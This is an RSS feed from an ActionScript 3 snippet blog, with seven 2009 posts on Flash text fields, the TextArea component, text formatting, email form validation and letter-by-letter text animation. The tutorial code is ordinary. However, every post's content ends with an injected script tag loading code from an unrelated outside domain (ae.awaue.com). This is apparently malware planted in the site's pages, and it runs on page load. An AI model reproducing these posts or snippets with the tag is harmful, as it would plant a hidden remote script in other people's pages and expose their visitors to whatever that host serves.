<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; Text</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/text/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Preventing Text Field Blocking MouseClicks</title>
		<link>http://blog.thornyrabbit.com/2009/04/preventing-text-field-blocking-mouseclicks/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/preventing-text-field-blocking-mouseclicks/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:33:56 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[MouseEvent]]></category>
		<category><![CDATA[Sprite]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=213</guid>
		<description><![CDATA[A solution for text fields stopping mouse clicks.]]></description>
			<content:encoded><![CDATA[<p><strong>To make text not clickable &#8211; as it may interfere with a sprite being clickable:</strong></p>
<p>textFiledCreatorName.mouseEnabled = false;</p>
<p>Fine if this text field is nested in the same sprite.</p>
<p>But put the text into another sprite overlapping the one below that has the eventListener &#8211; and it still blocks it.</p>
<p><strong>Solution:</strong></p>
<pre>otherOverlappingSprite.mouseEnabled = false;</pre>
<p>//<strong>on the overlapping sprite AS WELL AS the text field.</strong><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/preventing-text-field-blocking-mouseclicks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe TextArea component &#8211; adding and controlling.</title>
		<link>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:31:01 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Carat]]></category>
		<category><![CDATA[Component]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[Loader]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Text Format]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=211</guid>
		<description><![CDATA[Adding the Adobe TextArea component and setting properties for padding, carat, loading html and setting start scroll point.]]></description>
			<content:encoded><![CDATA[<p><strong>Imports:</strong></p>
<p>import fl.controls.*;//text area component</p>
<p>import flash.net.*;</p>
<p>import flash.text.*;</p>
<p> </p>
<p><strong>Load html text into TextArea component:</strong></p>
<p>private function loadCaseOverviewText():void {</p>
<p>var urlLdr:URLLoader = new URLLoader();</p>
<p>urlLdr.addEventListener(Event.COMPLETE, completeTextLoadHandler);</p>
<p>urlLdr.dataFormat = URLLoaderDataFormat.TEXT;</p>
<p>urlLdr.load(new URLRequest(&#8220;text_assets/advertising_overview.html&#8221;));</p>
<p>}//loadCaseOverviewText</p>
<p> </p>
<p>private function completeTextLoadHandler(event:Event):void {</p>
<p>var str:String = event.target.data as String;</p>
<p>textAreaCMP.htmlText = str;</p>
<p>}//completeTextLoadHandler</p>
<p>&#8212;&#8212;&#8212;&#8212;</p>
<p><strong>Position scrollbar back at top of TextArea component when new content is loaded or a new section is navigated to using:</strong></p>
<p>textAreaCMP.verticalScrollPosition = 1;</p>
<p>&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Set padding in TextArea component:</strong></p>
<p>textAreaCMP.setStyle(&#8220;textPadding&#8221; , 10);</p>
<p>&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Disable carat (bar) cursor from showing when rolling over textArea component:</strong></p>
<p>textAreaCMP.drawFocus (false);<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Text Formatting &amp; AutoSizing</title>
		<link>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:27:24 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[AutoSize]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Text Format]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=209</guid>
		<description><![CDATA[Bit chaotic but these properties are always useful when adding text fields.]]></description>
			<content:encoded><![CDATA[<p>private function addTextCaption():void{</p>
<p>if(textCaption != null){</p>
<p>removeChild(textCaption);</p>
<p>}//remove if it exists</p>
<p><span> </span></p>
<p>textCaption = new TextField();</p>
<p><span> </span></p>
<p>var font:Verdana = new Verdana(); //linkage name in library</p>
<p>var format:TextFormat = new TextFormat(); //should have separate formatting function</p>
<p>format.font = font.fontName;</p>
<p>format.color = textColorVar;</p>
<p>format.size = infoFontSize;</p>
<p>format.align = TextFormatAlign.LEFT;</p>
<p> </p>
<p>textCaption.x = thumbnailWidth + textBorder; </p>
<p>textCaption.y = imageHeight + headingHeight;</p>
<p>textCaption.width = stage.stageWidth &#8211; thumbnailWidth;</p>
<p>textCaption.height =  200; //don&#8217;t need height if autosize single or multiline text</p>
<p>textCaption.multiline = true;</p>
<p>textCaption.wordWrap = true;//must be set else cuts off</p>
<p>//textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.antiAliasType = flash.text.AntiAliasType.ADVANCED;</p>
<p>textCaption.selectable = false;</p>
<p>textCaption.embedFonts = true;</p>
<p>addChild(textCaption);</p>
<p>textCaption.defaultTextFormat = format;</p>
<p>textCaption.text = imageCaptionArray[tempCounter];</p>
<p>}//addTextCaption</p>
<p><strong>NOTES:</strong></p>
<p>To autosize height do not specify a height but must include autosize:</p>
<p>textCaption.wordWrap = true;</p>
<p>textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.x =  textBoxXPos; </p>
<p>textCaption.y = textBoxYPos;</p>
<p>textCaption.width = stageWide &#8211; textBoxXPos;</p>
<p>//textCaption.height =  stageHigh &#8211; textBoxYPos;//not allowed with autoSize<br />
<em>For width autosize leave out width obviously.</em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Easy re-usable function to creat customisable text fields on the fly.</title>
		<link>http://blog.thornyrabbit.com/2009/04/easy-re-usable-function-to-creat-customisable-text-fields-on-the-fly/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/easy-re-usable-function-to-creat-customisable-text-fields-on-the-fly/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:24:19 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Function]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=207</guid>
		<description><![CDATA[Re-usable function allowing one to quickly create text fields dynamically as needed. Saves time.]]></description>
			<content:encoded><![CDATA[<p>var inputAddressTextField:TextField = new TextField();</p>
<p>genericTextField(inputAddressTextField, 50 , 4, 200 , 20 , true, 0xcc0000 , true, 0xcc99ff , true , 0xffffff); </p>
<p>//obj,x,y,width,height,bg,bgColor,border,borderColor,selectable,textColor</p>
<p>//NOTE: just use 0 (zero) for bg and border color if false, and for sizes if autosizing</p>
<p>inputAddressTextField.type = TextFieldType.INPUT; //any specifics</p>
<p>header.addChild(inputAddressTextField);</p>
<p>formatTextStyle(inputAddressTextField , 14)</p>
<p>private function genericTextField(whichField:TextField , xpos:Number, ypos:Number , fieldWidth:Number , fieldHeight:Number , bgBool:Boolean, bgColor:uint , borderBool:Boolean , borderColor:uint , selectableBool:Boolean , txtColor:uint){</p>
<p>whichField.x = xpos</p>
<p>whichField.y = ypos;</p>
<p>whichField.width = fieldWidth;</p>
<p>whichField.height = fieldHeight;</p>
<p>whichField.background = bgBool;</p>
<p>whichField.backgroundColor = bgColor;</p>
<p>whichField.border = borderBool;</p>
<p>whichField.borderColor = borderColor;</p>
<p>whichField.selectable = selectableBool;</p>
<p>whichField.textColor = txtColor;</p>
<p>}//genericTextField</p>
<p> </p>
<p>private function formatTextStyle(whichField:TextField , txtSize:Number):void{ //Set the stylesheet property before setting the content.</p>
<p>var format:TextFormat = new TextFormat(); //should have separate formatting function</p>
<p>format.size = txtSize;</p>
<p>format.font = &#8220;_sans&#8221;;</p>
<p>format.align = TextFormatAlign.LEFT;</p>
<p>whichField.defaultTextFormat = format;</p>
<p>}//addStyleSheet<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/easy-re-usable-function-to-creat-customisable-text-fields-on-the-fly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3 Text Handling Methods &#8211; Input Text, Selecting Text, Returning text</title>
		<link>http://blog.thornyrabbit.com/2009/04/3-text-handling-methods-input-text-selecting-text-returning-text/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/3-text-handling-methods-input-text-selecting-text-returning-text/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:21:10 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[eventListener]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=205</guid>
		<description><![CDATA[3 useful text tips - creating input text field, selecting all text in a field when user clicks it, returning a string value.]]></description>
			<content:encoded><![CDATA[<p><strong>Create input text field:</strong></p>
<p>currField.<strong>type</strong> = TextFieldType<strong>.INPUT</strong>;</p>
<p>currField.<strong>selectable = true</strong>; //must be true to be inputtable</p>
<p>&#8212;&#8212;&#8212;</p>
<p><strong>Select text when the field is clicked on:</strong></p>
<p>currField.addEventListener(MouseEvent.CLICK, highlightText);</p>
<p>private function highlightText(event:MouseEvent):void{</p>
<p>event.target.setSelection(0, event.target.length); //start point, end point</p>
<p>}</p>
<p>&#8212;&#8212;&#8211;</p>
<p><strong>Return string value from function call:</strong></p>
<p>currField.text = scoreLabel();</p>
<p>private function scoreLabel():String{</p>
<p>var scoreString:String = &#8220;Your score: &#8221; + scoreGot + &#8220;/&#8221; + questionTotal;</p>
<p>return scoreString;</p>
<p>}//scoreLabel<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/3-text-handling-methods-input-text-selecting-text-returning-text/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AS3 Form Validation &#8211; email address and filled field</title>
		<link>http://blog.thornyrabbit.com/2009/04/as3-form-validation-email-address-and-filled-field/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/as3-form-validation-email-address-and-filled-field/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:16:59 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Form Validation]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=203</guid>
		<description><![CDATA[Checking if email address is valid and that fields are filled in (and not with spaces).]]></description>
			<content:encoded><![CDATA[<p><strong>Check for a valid email address in a text input field by checking for @, fullstop and positioning of these:</strong></p>
<p>private function checkEmail(whichObj:String):Boolean{</p>
<p>//check for @</p>
<p>//check for .</p>
<p>//check @ preceeds last dot</p>
<p>//check that @ is not first</p>
<p>//email cannot have any spaces</p>
<p>if(whichObj.indexOf(&#8220;@&#8221;) == -1 || whichObj.indexOf(&#8220;@&#8221;) == 0){ //not present or first</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;//if @ exists check for dot</p>
<p>if(whichObj.lastIndexOf(&#8220;.&#8221;) == -1 || whichObj.lastIndexOf(&#8220;.&#8221;) == whichObj.length-1){ //not present or at very end</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;//if both are true check @ preceeds dot</p>
<p>if(whichObj.lastIndexOf(&#8220;.&#8221;) &lt; whichObj.indexOf(&#8220;@&#8221;)  || whichObj.lastIndexOf(&#8220;.&#8221;) == whichObj.indexOf(&#8220;@&#8221;)+1 ){//not before and not directly after</p>
<p>emailBool = false;</p>
<p>}else{</p>
<p>emailBool = true;</p>
<p>//lastly check it has NO spaces in it</p>
<p>for(var i:Number = 0 ; i &lt; whichObj.length ; i++){ </p>
<p>if(whichObj.charAt(i) == &#8221; &#8220;){ //if the character is a space</p>
<p>emailBool = false;</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>trace(&#8220;emailBool: &#8221; + emailBool);</p>
<p>return emailBool;</p>
<p>}//checkEmail</p>
<p>&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Check a text input field is filled in and it has NO spaces:</strong></p>
<p>private function doFormCheck(event:MouseEvent):void{</p>
<p>checkName(form1_mc.name_txt.text);</p>
<p>trace(stringBool);</p>
<p>}//doFormCheck</p>
<p><span> </span></p>
<p>private function checkName(whichObj:String):Boolean{</p>
<p>//check that its not empty only AND that its not just spaces</p>
<p>if(whichObj != &#8220;&#8221;){</p>
<p>//not empty so </p>
<p>stringBool = true;</p>
<p>for(var i:Number = 0 ; i &lt; whichObj.length ; i++){</p>
<p>if(whichObj.charAt(i) != &#8221; &#8220;){ //if the character is not a space</p>
<p>stringBool = true;</p>
<p>return stringBool;//quit checking</p>
<p>}else{//else it is a space</p>
<p>stringBool = false;</p>
<p>return stringBool;</p>
<p>}</p>
<p>}//for</p>
<p>return stringBool;</p>
<p>}else{</p>
<p>stringBool = false; //else it is empty</p>
<p>return stringBool;</p>
<p>}//if</p>
<p>}//checkName<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/as3-form-validation-email-address-and-filled-field/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Animating Dynamic text onto the screen letter by letter</title>
		<link>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:13:59 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Array]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Timer]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=201</guid>
		<description><![CDATA[Easy way to animate text with code. ]]></description>
			<content:encoded><![CDATA[<p>private function setInitialContentForCaseStudy():void{</p>
<p>more_mc.solution_txt.text = &#8220;&#8221;;//clear to start</p>
<p>solutionString = solutionsArray[0];</p>
<p>animationCounter = 0;</p>
<p>animationTimer = new Timer(100, 0); </p>
<p>animationTimer.addEventListener(TimerEvent.TIMER, animateContent);</p>
<p>animationTimer.start();</p>
<p>}//setInitialContentForCaseStudy</p>
<p><span> </span></p>
<p><span> </span></p>
<p>private function animateContent(event:TimerEvent):void{</p>
<p>more_mc.solution_txt.appendText(solutionString.charAt(animationCounter));</p>
<p>animationCounter++;</p>
<p>if(animationCounter == solutionString.length){</p>
<p>animationTimer.stop();</p>
<p>}//if</p>
<p>}//animateContent</p>
<p><strong>Beware of other stuff happening at same time or too much text &#8211; can be slow!</strong><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
